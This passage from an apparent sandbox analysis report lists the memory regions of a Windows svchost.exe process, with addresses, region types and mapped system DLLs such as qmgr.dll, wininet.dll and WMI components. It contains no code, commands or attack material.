"activeds.dll.mui" filename = "\\Windows\\System32\\en-US\\activeds.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\activeds.dll.mui") Region: id = 5068 start_va = 0x3f730f0000 end_va = 0x3f730f0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000003f730f0000" filename = "" Region: id = 5069 start_va = 0x3f73100000 end_va = 0x3f731fffff entry_point = 0x0 region_type = private name = "private_0x0000003f73100000" filename = "" Region: id = 5070 start_va = 0x3f73200000 end_va = 0x3f732fffff entry_point = 0x0 region_type = private name = "private_0x0000003f73200000" filename = "" Region: id = 5071 start_va = 0x3f73300000 end_va = 0x3f7337ffff entry_point = 0x0 region_type = private name = "private_0x0000003f73300000" filename = "" Region: id = 5072 start_va = 0x3f73380000 end_va = 0x3f73386fff entry_point = 0x0 region_type = private name = "private_0x0000003f73380000" filename = "" Region: id = 5073 start_va = 0x3f73390000 end_va = 0x3f7348ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000003f73390000" filename = "" Region: id = 5074 start_va = 0x3f73490000 end_va = 0x3f7350ffff entry_point = 0x0 region_type = private name = "private_0x0000003f73490000" filename = "" Region: id = 5075 start_va = 0x3f73510000 end_va = 0x3f73512fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000003f73510000" filename = "" Region: id = 5076 start_va = 0x3f73520000 end_va = 0x3f73520fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000003f73520000" filename = "" Region: id = 5077 start_va = 0x3f73530000 end_va = 0x3f73534fff entry_point = 0x3f73530000 region_type = mapped_file name = "winnlsres.dll" filename = "\\Windows\\System32\\winnlsres.dll" (normalized: "c:\\windows\\system32\\winnlsres.dll") Region: id = 5078 start_va = 0x3f73540000 end_va = 0x3f73546fff entry_point = 0x0 region_type = private name = "private_0x0000003f73540000" filename = "" Region: id = 5079 start_va = 0x3f73550000 end_va = 0x3f7364ffff entry_point = 0x0 region_type = private name = "private_0x0000003f73550000" filename = "" Region: id = 5080 start_va = 0x3f73650000 end_va = 0x3f7365ffff entry_point = 0x3f73650000 region_type = mapped_file name = "winnlsres.dll.mui" filename = "\\Windows\\System32\\en-US\\winnlsres.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\winnlsres.dll.mui") Region: id = 5081 start_va = 0x3f73660000 end_va = 0x3f73662fff entry_point = 0x3f73660000 region_type = mapped_file name = "mswsock.dll.mui" filename = "\\Windows\\System32\\en-US\\mswsock.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\mswsock.dll.mui") Region: id = 5082 start_va = 0x3f73690000 end_va = 0x3f73696fff entry_point = 0x0 region_type = private name = "private_0x0000003f73690000" filename = "" Region: id = 5083 start_va = 0x3f736a0000 end_va = 0x3f736a6fff entry_point = 0x0 region_type = private name = "private_0x0000003f736a0000" filename = "" Region: id = 5084 start_va = 0x3f736b0000 end_va = 0x3f737affff entry_point = 0x0 region_type = private name = "private_0x0000003f736b0000" filename = "" Region: id = 5085 start_va = 0x3f737b0000 end_va = 0x3f7382ffff entry_point = 0x0 region_type = private name = "private_0x0000003f737b0000" filename = "" Region: id = 5086 start_va = 0x3f73830000 end_va = 0x3f7392ffff entry_point = 0x0 region_type = private name = "private_0x0000003f73830000" filename = "" Region: id = 5087 start_va = 0x3f73930000 end_va = 0x3f739affff entry_point = 0x0 region_type = private name = "private_0x0000003f73930000" filename = "" Region: id = 5088 start_va = 0x3f739b0000 end_va = 0x3f73aaffff entry_point = 0x0 region_type = private name = "private_0x0000003f739b0000" filename = "" Region: id = 5089 start_va = 0x3f73ab0000 end_va = 0x3f73b2ffff entry_point = 0x0 region_type = private name = "private_0x0000003f73ab0000" filename = "" Region: id = 5090 start_va = 0x3f73b30000 end_va = 0x3f73c2ffff entry_point = 0x0 region_type = private name = "private_0x0000003f73b30000" filename = "" Region: id = 5091 start_va = 0x3f73c30000 end_va = 0x3f73d2ffff entry_point = 0x0 region_type = private name = "private_0x0000003f73c30000" filename = "" Region: id = 5092 start_va = 0x3f73d30000 end_va = 0x3f73e2ffff entry_point = 0x0 region_type = private name = "private_0x0000003f73d30000" filename = "" Region: id = 5093 start_va = 0x3f73e30000 end_va = 0x3f73f2ffff entry_point = 0x0 region_type = private name = "private_0x0000003f73e30000" filename = "" Region: id = 5094 start_va = 0x3f73f30000 end_va = 0x3f7402ffff entry_point = 0x0 region_type = private name = "private_0x0000003f73f30000" filename = "" Region: id = 5095 start_va = 0x3f74030000 end_va = 0x3f7412ffff entry_point = 0x0 region_type = private name = "private_0x0000003f74030000" filename = "" Region: id = 5096 start_va = 0x3f74130000 end_va = 0x3f7420efff entry_point = 0x3f74130000 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\System32\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\kernelbase.dll.mui") Region: id = 5097 start_va = 0x3f74210000 end_va = 0x3f74216fff entry_point = 0x0 region_type = private name = "private_0x0000003f74210000" filename = "" Region: id = 5098 start_va = 0x3f74220000 end_va = 0x3f7431ffff entry_point = 0x0 region_type = private name = "private_0x0000003f74220000" filename = "" Region: id = 5099 start_va = 0x3f74320000 end_va = 0x3f7439ffff entry_point = 0x0 region_type = private name = "private_0x0000003f74320000" filename = "" Region: id = 5100 start_va = 0x3f74400000 end_va = 0x3f744fffff entry_point = 0x0 region_type = private name = "private_0x0000003f74400000" filename = "" Region: id = 5101 start_va = 0x3f74500000 end_va = 0x3f745fffff entry_point = 0x0 region_type = private name = "private_0x0000003f74500000" filename = "" Region: id = 5102 start_va = 0x3f74600000 end_va = 0x3f746fffff entry_point = 0x0 region_type = private name = "private_0x0000003f74600000" filename = "" Region: id = 5103 start_va = 0x3f74700000 end_va = 0x3f747fffff entry_point = 0x0 region_type = private name = "private_0x0000003f74700000" filename = "" Region: id = 5104 start_va = 0x3f74800000 end_va = 0x3f748fffff entry_point = 0x0 region_type = private name = "private_0x0000003f74800000" filename = "" Region: id = 5105 start_va = 0x3f74900000 end_va = 0x3f749fffff entry_point = 0x0 region_type = private name = "private_0x0000003f74900000" filename = "" Region: id = 5106 start_va = 0x3f74a00000 end_va = 0x3f74afffff entry_point = 0x0 region_type = private name = "private_0x0000003f74a00000" filename = "" Region: id = 5107 start_va = 0x3f74b00000 end_va = 0x3f74bfffff entry_point = 0x0 region_type = private name = "private_0x0000003f74b00000" filename = "" Region: id = 5108 start_va = 0x3f74c00000 end_va = 0x3f74cfffff entry_point = 0x0 region_type = private name = "private_0x0000003f74c00000" filename = "" Region: id = 5109 start_va = 0x3f74d00000 end_va = 0x3f74dfffff entry_point = 0x0 region_type = private name = "private_0x0000003f74d00000" filename = "" Region: id = 5110 start_va = 0x3f74e00000 end_va = 0x3f74efffff entry_point = 0x0 region_type = private name = "private_0x0000003f74e00000" filename = "" Region: id = 5111 start_va = 0x3f74f00000 end_va = 0x3f74ffffff entry_point = 0x0 region_type = private name = "private_0x0000003f74f00000" filename = "" Region: id = 5112 start_va = 0x3f75000000 end_va = 0x3f750fffff entry_point = 0x0 region_type = private name = "private_0x0000003f75000000" filename = "" Region: id = 5113 start_va = 0x3f75100000 end_va = 0x3f751fffff entry_point = 0x0 region_type = private name = "private_0x0000003f75100000" filename = "" Region: id = 5114 start_va = 0x3f75200000 end_va = 0x3f752fffff entry_point = 0x0 region_type = private name = "private_0x0000003f75200000" filename = "" Region: id = 5115 start_va = 0x3f75300000 end_va = 0x3f753fffff entry_point = 0x0 region_type = private name = "private_0x0000003f75300000" filename = "" Region: id = 5116 start_va = 0x3f75400000 end_va = 0x3f754fffff entry_point = 0x0 region_type = private name = "private_0x0000003f75400000" filename = "" Region: id = 5117 start_va = 0x3f75500000 end_va = 0x3f755fffff entry_point = 0x0 region_type = private name = "private_0x0000003f75500000" filename = "" Region: id = 5118 start_va = 0x3f75600000 end_va = 0x3f756fffff entry_point = 0x0 region_type = private name = "private_0x0000003f75600000" filename = "" Region: id = 5119 start_va = 0x3f75700000 end_va = 0x3f757fffff entry_point = 0x0 region_type = private name = "private_0x0000003f75700000" filename = "" Region: id = 5120 start_va = 0x3f75800000 end_va = 0x3f758fffff entry_point = 0x0 region_type = private name = "private_0x0000003f75800000" filename = "" Region: id = 5121 start_va = 0x3f75900000 end_va = 0x3f759fffff entry_point = 0x0 region_type = private name = "private_0x0000003f75900000" filename = "" Region: id = 5122 start_va = 0x3f75a00000 end_va = 0x3f75afffff entry_point = 0x0 region_type = private name = "private_0x0000003f75a00000" filename = "" Region: id = 5123 start_va = 0x3f75b00000 end_va = 0x3f75bfffff entry_point = 0x0 region_type = private name = "private_0x0000003f75b00000" filename = "" Region: id = 5124 start_va = 0x3f75c00000 end_va = 0x3f75cfffff entry_point = 0x0 region_type = private name = "private_0x0000003f75c00000" filename = "" Region: id = 5125 start_va = 0x3f75d00000 end_va = 0x3f75dfffff entry_point = 0x0 region_type = private name = "private_0x0000003f75d00000" filename = "" Region: id = 5126 start_va = 0x3f75e00000 end_va = 0x3f75efffff entry_point = 0x0 region_type = private name = "private_0x0000003f75e00000" filename = "" Region: id = 5127 start_va = 0x3f75f00000 end_va = 0x3f75ffffff entry_point = 0x0 region_type = private name = "private_0x0000003f75f00000" filename = "" Region: id = 5128 start_va = 0x3f76000000 end_va = 0x3f760fffff entry_point = 0x0 region_type = private name = "private_0x0000003f76000000" filename = "" Region: id = 5129 start_va = 0x3f76100000 end_va = 0x3f761fffff entry_point = 0x0 region_type = private name = "private_0x0000003f76100000" filename = "" Region: id = 5130 start_va = 0x3f76200000 end_va = 0x3f762fffff entry_point = 0x0 region_type = private name = "private_0x0000003f76200000" filename = "" Region: id = 5131 start_va = 0x3f76300000 end_va = 0x3f763fffff entry_point = 0x0 region_type = private name = "private_0x0000003f76300000" filename = "" Region: id = 5132 start_va = 0x3f76400000 end_va = 0x3f764fffff entry_point = 0x0 region_type = private name = "private_0x0000003f76400000" filename = "" Region: id = 5133 start_va = 0x3f76500000 end_va = 0x3f765fffff entry_point = 0x0 region_type = private name = "private_0x0000003f76500000" filename = "" Region: id = 5134 start_va = 0x3f76600000 end_va = 0x3f766fffff entry_point = 0x0 region_type = private name = "private_0x0000003f76600000" filename = "" Region: id = 5135 start_va = 0x3f76700000 end_va = 0x3f767fffff entry_point = 0x0 region_type = private name = "private_0x0000003f76700000" filename = "" Region: id = 5136 start_va = 0x3f76800000 end_va = 0x3f768fffff entry_point = 0x0 region_type = private name = "private_0x0000003f76800000" filename = "" Region: id = 5137 start_va = 0x3f76900000 end_va = 0x3f769fffff entry_point = 0x0 region_type = private name = "private_0x0000003f76900000" filename = "" Region: id = 5138 start_va = 0x3f76a00000 end_va = 0x3f76afffff entry_point = 0x0 region_type = private name = "private_0x0000003f76a00000" filename = "" Region: id = 5139 start_va = 0x3f76b00000 end_va = 0x3f76bfffff entry_point = 0x0 region_type = private name = "private_0x0000003f76b00000" filename = "" Region: id = 5140 start_va = 0x3f76c00000 end_va = 0x3f76cfffff entry_point = 0x0 region_type = private name = "private_0x0000003f76c00000" filename = "" Region: id = 5141 start_va = 0x3f76d00000 end_va = 0x3f76dfffff entry_point = 0x0 region_type = private name = "private_0x0000003f76d00000" filename = "" Region: id = 5142 start_va = 0x3f76e00000 end_va = 0x3f76efffff entry_point = 0x0 region_type = private name = "private_0x0000003f76e00000" filename = "" Region: id = 5143 start_va = 0x3f76f00000 end_va = 0x3f76ffffff entry_point = 0x0 region_type = private name = "private_0x0000003f76f00000" filename = "" Region: id = 5144 start_va = 0x3f77000000 end_va = 0x3f770fffff entry_point = 0x0 region_type = private name = "private_0x0000003f77000000" filename = "" Region: id = 5145 start_va = 0x3f77100000 end_va = 0x3f771fffff entry_point = 0x0 region_type = private name = "private_0x0000003f77100000" filename = "" Region: id = 5146 start_va = 0x3f77200000 end_va = 0x3f7727ffff entry_point = 0x0 region_type = private name = "private_0x0000003f77200000" filename = "" Region: id = 5147 start_va = 0x3f77280000 end_va = 0x3f7737ffff entry_point = 0x0 region_type = private name = "private_0x0000003f77280000" filename = "" Region: id = 5148 start_va = 0x3f77380000 end_va = 0x3f7747ffff entry_point = 0x0 region_type = private name = "private_0x0000003f77380000" filename = "" Region: id = 5149 start_va = 0x3f77480000 end_va = 0x3f7757ffff entry_point = 0x0 region_type = private name = "private_0x0000003f77480000" filename = "" Region: id = 5150 start_va = 0x3f77580000 end_va = 0x3f7767ffff entry_point = 0x0 region_type = private name = "private_0x0000003f77580000" filename = "" Region: id = 5151 start_va = 0x3f77680000 end_va = 0x3f7777ffff entry_point = 0x0 region_type = private name = "private_0x0000003f77680000" filename = "" Region: id = 5152 start_va = 0x3f77780000 end_va = 0x3f7787ffff entry_point = 0x0 region_type = private name = "private_0x0000003f77780000" filename = "" Region: id = 5153 start_va = 0x7df5ffac0000 end_va = 0x7ff5ffabffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df5ffac0000" filename = "" Region: id = 5154 start_va = 0x7ff704882000 end_va = 0x7ff704883fff entry_point = 0x0 region_type = private name = "private_0x00007ff704882000" filename = "" Region: id = 5155 start_va = 0x7ff704884000 end_va = 0x7ff704885fff entry_point = 0x0 region_type = private name = "private_0x00007ff704884000" filename = "" Region: id = 5156 start_va = 0x7ff704886000 end_va = 0x7ff704887fff entry_point = 0x0 region_type = private name = "private_0x00007ff704886000" filename = "" Region: id = 5157 start_va = 0x7ff704888000 end_va = 0x7ff704889fff entry_point = 0x0 region_type = private name = "private_0x00007ff704888000" filename = "" Region: id = 5158 start_va = 0x7ff70488a000 end_va = 0x7ff70488bfff entry_point = 0x0 region_type = private name = "private_0x00007ff70488a000" filename = "" Region: id = 5159 start_va = 0x7ff70488c000 end_va = 0x7ff70488dfff entry_point = 0x0 region_type = private name = "private_0x00007ff70488c000" filename = "" Region: id = 5160 start_va = 0x7ff70488e000 end_va = 0x7ff70488ffff entry_point = 0x0 region_type = private name = "private_0x00007ff70488e000" filename = "" Region: id = 5161 start_va = 0x7ff704890000 end_va = 0x7ff704891fff entry_point = 0x0 region_type = private name = "private_0x00007ff704890000" filename = "" Region: id = 5162 start_va = 0x7ff704892000 end_va = 0x7ff704893fff entry_point = 0x0 region_type = private name = "private_0x00007ff704892000" filename = "" Region: id = 5163 start_va = 0x7ff704894000 end_va = 0x7ff704895fff entry_point = 0x0 region_type = private name = "private_0x00007ff704894000" filename = "" Region: id = 5164 start_va = 0x7ff704896000 end_va = 0x7ff704897fff entry_point = 0x0 region_type = private name = "private_0x00007ff704896000" filename = "" Region: id = 5165 start_va = 0x7ff704898000 end_va = 0x7ff704899fff entry_point = 0x0 region_type = private name = "private_0x00007ff704898000" filename = "" Region: id = 5166 start_va = 0x7ff70489a000 end_va = 0x7ff70489bfff entry_point = 0x0 region_type = private name = "private_0x00007ff70489a000" filename = "" Region: id = 5167 start_va = 0x7ff70489c000 end_va = 0x7ff70489dfff entry_point = 0x0 region_type = private name = "private_0x00007ff70489c000" filename = "" Region: id = 5168 start_va = 0x7ff70489e000 end_va = 0x7ff70489ffff entry_point = 0x0 region_type = private name = "private_0x00007ff70489e000" filename = "" Region: id = 5169 start_va = 0x7ff7048a0000 end_va = 0x7ff7048a1fff entry_point = 0x0 region_type = private name = "private_0x00007ff7048a0000" filename = "" Region: id = 5170 start_va = 0x7ff7048a2000 end_va = 0x7ff7048a3fff entry_point = 0x0 region_type = private name = "private_0x00007ff7048a2000" filename = "" Region: id = 5171 start_va = 0x7ff7048a4000 end_va = 0x7ff7048a5fff entry_point = 0x0 region_type = private name = "private_0x00007ff7048a4000" filename = "" Region: id = 5172 start_va = 0x7ff7048a6000 end_va = 0x7ff7048a7fff entry_point = 0x0 region_type = private name = "private_0x00007ff7048a6000" filename = "" Region: id = 5173 start_va = 0x7ff7048a8000 end_va = 0x7ff7048a9fff entry_point = 0x0 region_type = private name = "private_0x00007ff7048a8000" filename = "" Region: id = 5174 start_va = 0x7ff7048aa000 end_va = 0x7ff7048abfff entry_point = 0x0 region_type = private name = "private_0x00007ff7048aa000" filename = "" Region: id = 5175 start_va = 0x7ff7048ac000 end_va = 0x7ff7048adfff entry_point = 0x0 region_type = private name = "private_0x00007ff7048ac000" filename = "" Region: id = 5176 start_va = 0x7ff7048ae000 end_va = 0x7ff7048affff entry_point = 0x0 region_type = private name = "private_0x00007ff7048ae000" filename = "" Region: id = 5177 start_va = 0x7ff7048b0000 end_va = 0x7ff7048b1fff entry_point = 0x0 region_type = private name = "private_0x00007ff7048b0000" filename = "" Region: id = 5178 start_va = 0x7ff7048b2000 end_va = 0x7ff7048b3fff entry_point = 0x0 region_type = private name = "private_0x00007ff7048b2000" filename = "" Region: id = 5179 start_va = 0x7ff7048b4000 end_va = 0x7ff7048b5fff entry_point = 0x0 region_type = private name = "private_0x00007ff7048b4000" filename = "" Region: id = 5180 start_va = 0x7ff7048b6000 end_va = 0x7ff7048b7fff entry_point = 0x0 region_type = private name = "private_0x00007ff7048b6000" filename = "" Region: id = 5181 start_va = 0x7ff7048b8000 end_va = 0x7ff7048b9fff entry_point = 0x0 region_type = private name = "private_0x00007ff7048b8000" filename = "" Region: id = 5182 start_va = 0x7ff7048ba000 end_va = 0x7ff7048bbfff entry_point = 0x0 region_type = private name = "private_0x00007ff7048ba000" filename = "" Region: id = 5183 start_va = 0x7ff7048bc000 end_va = 0x7ff7048bdfff entry_point = 0x0 region_type = private name = "private_0x00007ff7048bc000" filename = "" Region: id = 5184 start_va = 0x7ff7048be000 end_va = 0x7ff7048bffff entry_point = 0x0 region_type = private name = "private_0x00007ff7048be000" filename = "" Region: id = 5185 start_va = 0x7ff7048c0000 end_va = 0x7ff7048c1fff entry_point = 0x0 region_type = private name = "private_0x00007ff7048c0000" filename = "" Region: id = 5186 start_va = 0x7ff7048c2000 end_va = 0x7ff7048c3fff entry_point = 0x0 region_type = private name = "private_0x00007ff7048c2000" filename = "" Region: id = 5187 start_va = 0x7ff7048c4000 end_va = 0x7ff7048c5fff entry_point = 0x0 region_type = private name = "private_0x00007ff7048c4000" filename = "" Region: id = 5188 start_va = 0x7ff7048c6000 end_va = 0x7ff7048c7fff entry_point = 0x0 region_type = private name = "private_0x00007ff7048c6000" filename = "" Region: id = 5189 start_va = 0x7ff7048c8000 end_va = 0x7ff7048c9fff entry_point = 0x0 region_type = private name = "private_0x00007ff7048c8000" filename = "" Region: id = 5190 start_va = 0x7ff7048ca000 end_va = 0x7ff7048cbfff entry_point = 0x0 region_type = private name = "private_0x00007ff7048ca000" filename = "" Region: id = 5191 start_va = 0x7ff7048cc000 end_va = 0x7ff7048cdfff entry_point = 0x0 region_type = private name = "private_0x00007ff7048cc000" filename = "" Region: id = 5192 start_va = 0x7ff7048ce000 end_va = 0x7ff7048cffff entry_point = 0x0 region_type = private name = "private_0x00007ff7048ce000" filename = "" Region: id = 5193 start_va = 0x7ff7048d0000 end_va = 0x7ff7048d1fff entry_point = 0x0 region_type = private name = "private_0x00007ff7048d0000" filename = "" Region: id = 5194 start_va = 0x7ff7048d2000 end_va = 0x7ff7048d3fff entry_point = 0x0 region_type = private name = "private_0x00007ff7048d2000" filename = "" Region: id = 5195 start_va = 0x7ff7048d4000 end_va = 0x7ff7048d5fff entry_point = 0x0 region_type = private name = "private_0x00007ff7048d4000" filename = "" Region: id = 5196 start_va = 0x7ff7048d6000 end_va = 0x7ff7048d7fff entry_point = 0x0 region_type = private name = "private_0x00007ff7048d6000" filename = "" Region: id = 5197 start_va = 0x7ff7048d8000 end_va = 0x7ff7048d9fff entry_point = 0x0 region_type = private name = "private_0x00007ff7048d8000" filename = "" Region: id = 5198 start_va = 0x7ff7048da000 end_va = 0x7ff7048dbfff entry_point = 0x0 region_type = private name = "private_0x00007ff7048da000" filename = "" Region: id = 5199 start_va = 0x7ff7048dc000 end_va = 0x7ff7048ddfff entry_point = 0x0 region_type = private name = "private_0x00007ff7048dc000" filename = "" Region: id = 5200 start_va = 0x7ff7048de000 end_va = 0x7ff7048dffff entry_point = 0x0 region_type = private name = "private_0x00007ff7048de000" filename = "" Region: id = 5201 start_va = 0x7ff7048e0000 end_va = 0x7ff7048e1fff entry_point = 0x0 region_type = private name = "private_0x00007ff7048e0000" filename = "" Region: id = 5202 start_va = 0x7ff7048e2000 end_va = 0x7ff7048e3fff entry_point = 0x0 region_type = private name = "private_0x00007ff7048e2000" filename = "" Region: id = 5203 start_va = 0x7ff7048e6000 end_va = 0x7ff7048e7fff entry_point = 0x0 region_type = private name = "private_0x00007ff7048e6000" filename = "" Region: id = 5204 start_va = 0x7ff7048e8000 end_va = 0x7ff7048e9fff entry_point = 0x0 region_type = private name = "private_0x00007ff7048e8000" filename = "" Region: id = 5205 start_va = 0x7ff7048ea000 end_va = 0x7ff7048ebfff entry_point = 0x0 region_type = private name = "private_0x00007ff7048ea000" filename = "" Region: id = 5206 start_va = 0x7ff7048ec000 end_va = 0x7ff7048edfff entry_point = 0x0 region_type = private name = "private_0x00007ff7048ec000" filename = "" Region: id = 5207 start_va = 0x7ff7048ee000 end_va = 0x7ff7048effff entry_point = 0x0 region_type = private name = "private_0x00007ff7048ee000" filename = "" Region: id = 5208 start_va = 0x7ff7048f0000 end_va = 0x7ff7049effff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff7048f0000" filename = "" Region: id = 5209 start_va = 0x7ff7049f0000 end_va = 0x7ff704a12fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff7049f0000" filename = "" Region: id = 5210 start_va = 0x7ff704a13000 end_va = 0x7ff704a14fff entry_point = 0x0 region_type = private name = "private_0x00007ff704a13000" filename = "" Region: id = 5211 start_va = 0x7ff704a15000 end_va = 0x7ff704a16fff entry_point = 0x0 region_type = private name = "private_0x00007ff704a15000" filename = "" Region: id = 5212 start_va = 0x7ff704a17000 end_va = 0x7ff704a17fff entry_point = 0x0 region_type = private name = "private_0x00007ff704a17000" filename = "" Region: id = 5213 start_va = 0x7ff704a18000 end_va = 0x7ff704a19fff entry_point = 0x0 region_type = private name = "private_0x00007ff704a18000" filename = "" Region: id = 5214 start_va = 0x7ff704a1a000 end_va = 0x7ff704a1bfff entry_point = 0x0 region_type = private name = "private_0x00007ff704a1a000" filename = "" Region: id = 5215 start_va = 0x7ff704a1c000 end_va = 0x7ff704a1dfff entry_point = 0x0 region_type = private name = "private_0x00007ff704a1c000" filename = "" Region: id = 5216 start_va = 0x7ff704a1e000 end_va = 0x7ff704a1ffff entry_point = 0x0 region_type = private name = "private_0x00007ff704a1e000" filename = "" Region: id = 5217 start_va = 0x7ff705630000 end_va = 0x7ff70563cfff entry_point = 0x7ff705630000 region_type = mapped_file name = "svchost.exe" filename = "\\Windows\\System32\\svchost.exe" (normalized: "c:\\windows\\system32\\svchost.exe") Region: id = 5218 start_va = 0x7ff9dc360000 end_va = 0x7ff9dc371fff entry_point = 0x7ff9dc360000 region_type = mapped_file name = "bitsproxy.dll" filename = "\\Windows\\System32\\BitsProxy.dll" (normalized: "c:\\windows\\system32\\bitsproxy.dll") Region: id = 5219 start_va = 0x7ff9dc670000 end_va = 0x7ff9dc6d5fff entry_point = 0x7ff9dc670000 region_type = mapped_file name = "upnp.dll" filename = "\\Windows\\System32\\upnp.dll" (normalized: "c:\\windows\\system32\\upnp.dll") Region: id = 5220 start_va = 0x7ff9dc6e0000 end_va = 0x7ff9dc6f2fff entry_point = 0x7ff9dc6e0000 region_type = mapped_file name = "bitsigd.dll" filename = "\\Windows\\System32\\bitsigd.dll" (normalized: "c:\\windows\\system32\\bitsigd.dll") Region: id = 5221 start_va = 0x7ff9dc700000 end_va = 0x7ff9dc70afff entry_point = 0x7ff9dc700000 region_type = mapped_file name = "bitsperf.dll" filename = "\\Windows\\System32\\bitsperf.dll" (normalized: "c:\\windows\\system32\\bitsperf.dll") Region: id = 5222 start_va = 0x7ff9dc710000 end_va = 0x7ff9dc830fff entry_point = 0x7ff9dc710000 region_type = mapped_file name = "qmgr.dll" filename = "\\Windows\\System32\\qmgr.dll" (normalized: "c:\\windows\\system32\\qmgr.dll") Region: id = 5223 start_va = 0x7ff9dee40000 end_va = 0x7ff9df2a9fff entry_point = 0x7ff9dee40000 region_type = mapped_file name = "actxprxy.dll" filename = "\\Windows\\System32\\actxprxy.dll" (normalized: "c:\\windows\\system32\\actxprxy.dll") Region: id = 5224 start_va = 0x7ff9df560000 end_va = 0x7ff9df806fff entry_point = 0x7ff9df560000 region_type = mapped_file name = "wininet.dll" filename = "\\Windows\\System32\\wininet.dll" (normalized: "c:\\windows\\system32\\wininet.dll") Region: id = 5225 start_va = 0x7ff9df810000 end_va = 0x7ff9df820fff entry_point = 0x7ff9df810000 region_type = mapped_file name = "credentialmigrationhandler.dll" filename = "\\Windows\\System32\\CredentialMigrationHandler.dll" (normalized: "c:\\windows\\system32\\credentialmigrationhandler.dll") Region: id = 5226 start_va = 0x7ff9df830000 end_va = 0x7ff9df8c6fff entry_point = 0x7ff9df830000 region_type = mapped_file name = "settingsync.dll" filename = "\\Windows\\System32\\SettingSync.dll" (normalized: "c:\\windows\\system32\\settingsync.dll") Region: id = 5227 start_va = 0x7ff9e0260000 end_va = 0x7ff9e02e2fff entry_point = 0x7ff9e0260000 region_type = mapped_file name = "wbemess.dll" filename = "\\Windows\\System32\\wbem\\wbemess.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemess.dll") Region: id = 5228 start_va = 0x7ff9e02f0000 end_va = 0x7ff9e03c7fff entry_point = 0x7ff9e02f0000 region_type = mapped_file name = "wmiprvsd.dll" filename = "\\Windows\\System32\\wbem\\WmiPrvSD.dll" (normalized: "c:\\windows\\system32\\wbem\\wmiprvsd.dll") Region: id = 5229 start_va = 0x7ff9e03d0000 end_va = 0x7ff9e03e1fff entry_point = 0x7ff9e03d0000 region_type = mapped_file name = "cscapi.dll" filename = "\\Windows\\System32\\cscapi.dll" (normalized: "c:\\windows\\system32\\cscapi.dll") Region: id = 5230 start_va = 0x7ff9e03f0000 end_va = 0x7ff9e0452fff entry_point = 0x7ff9e03f0000 region_type = mapped_file name = "repdrvfs.dll" filename = "\\Windows\\System32\\wbem\\repdrvfs.dll" (normalized: "c:\\windows\\system32\\wbem\\repdrvfs.dll") Region: id = 5231 start_va = 0x7ff9e0460000 end_va = 0x7ff9e0484fff entry_point = 0x7ff9e0460000 region_type = mapped_file name = "wmiutils.dll" filename = "\\Windows\\System32\\wbem\\wmiutils.dll" (normalized: "c:\\windows\\system32\\wbem\\wmiutils.dll") Region: id = 5232 start_va = 0x7ff9e0490000 end_va = 0x7ff9e04a3fff entry_point = 0x7ff9e0490000 region_type = mapped_file name = "wbemsvc.dll" filename = "\\Windows\\System32\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemsvc.dll") Region: id = 5233 start_va = 0x7ff9e04b0000 end_va = 0x7ff9e05a7fff entry_point = 0x7ff9e04b0000 region_type = mapped_file name = "fastprox.dll" filename = "\\Windows\\System32\\wbem\\fastprox.dll" (normalized: "c:\\windows\\system32\\wbem\\fastprox.dll") Region: id = 5234 start_va = 0x7ff9e05b0000 end_va = 0x7ff9e0622fff entry_point = 0x7ff9e05b0000 region_type = mapped_file name = "esscli.dll" filename = "\\Windows\\System32\\wbem\\esscli.dll" (normalized: "c:\\windows\\system32\\wbem\\esscli.dll") Region: id = 5235 start_va = 0x7ff9e0630000 end_va = 0x7ff9e0766fff entry_point = 0x7ff9e0630000 region_type = mapped_file name = "wbemcore.dll" filename = "\\Windows\\System32\\wbem\\wbemcore.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemcore.dll") Region: id = 5236 start_va = 0x7ff9e0770000 end_va = 0x7ff9e07b5fff entry_point = 0x7ff9e0770000 region_type = mapped_file name = "adsldp.dll" filename = "\\Windows\\System32\\adsldp.dll" (normalized: "c:\\windows\\system32\\adsldp.dll") Region: id = 5237 start_va = 0x7ff9e07c0000 end_va = 0x7ff9e0807fff entry_point = 0x7ff9e07c0000 region_type = mapped_file name = "activeds.dll" filename = "\\Windows\\System32\\activeds.dll" (normalized: "c:\\windows\\system32\\activeds.dll") Region: id = 5238 start_va = 0x7ff9e0810000 end_va = 0x7ff9e088ffff entry_point = 0x7ff9e0810000 region_type = mapped_file name = "webio.dll" filename = "\\Windows\\System32\\webio.dll" (normalized: "c:\\windows\\system32\\webio.dll") Region: id = 5239 start_va = 0x7ff9e0890000 end_va = 0x7ff9e08a0fff entry_point = 0x7ff9e0890000 region_type = mapped_file name = "nci.dll" filename = "\\Windows\\System32\\nci.dll" (normalized: "c:\\windows\\system32\\nci.dll") Region: id = 5240 start_va = 0x7ff9e08f0000 end_va = 0x7ff9e0904fff entry_point = 0x7ff9e08f0000 region_type = mapped_file name = "ondemandconnroutehelper.dll" filename = "\\Windows\\System32\\OnDemandConnRouteHelper.dll" (normalized: "c:\\windows\\system32\\ondemandconnroutehelper.dll") Region: id = 5241 start_va = 0x7ff9e0990000 end_va = 0x7ff9e099dfff entry_point = 0x7ff9e0990000 region_type = mapped_file name = "npmproxy.dll" filename = "\\Windows\\System32\\npmproxy.dll" (normalized: "c:\\windows\\system32\\npmproxy.dll") Region: id = 5242 start_va = 0x7ff9e09a0000 end_va = 0x7ff9e09e0fff entry_point = 0x7ff9e09a0000 region_type = mapped_file name = "wdscore.dll" filename = "\\Windows\\System32\\wdscore.dll" (normalized: "c:\\windows\\system32\\wdscore.dll") Region: id = 5243 start_va = 0x7ff9e0a50000 end_va = 0x7ff9e0a65fff entry_point = 0x7ff9e0a50000 region_type = mapped_file name = "ncobjapi.dll" filename = "\\Windows\\System32\\ncobjapi.dll" (normalized: "c:\\windows\\system32\\ncobjapi.dll") Region: id = 5244 start_va = 0x7ff9e0a70000 end_va = 0x7ff9e0a84fff entry_point = 0x7ff9e0a70000 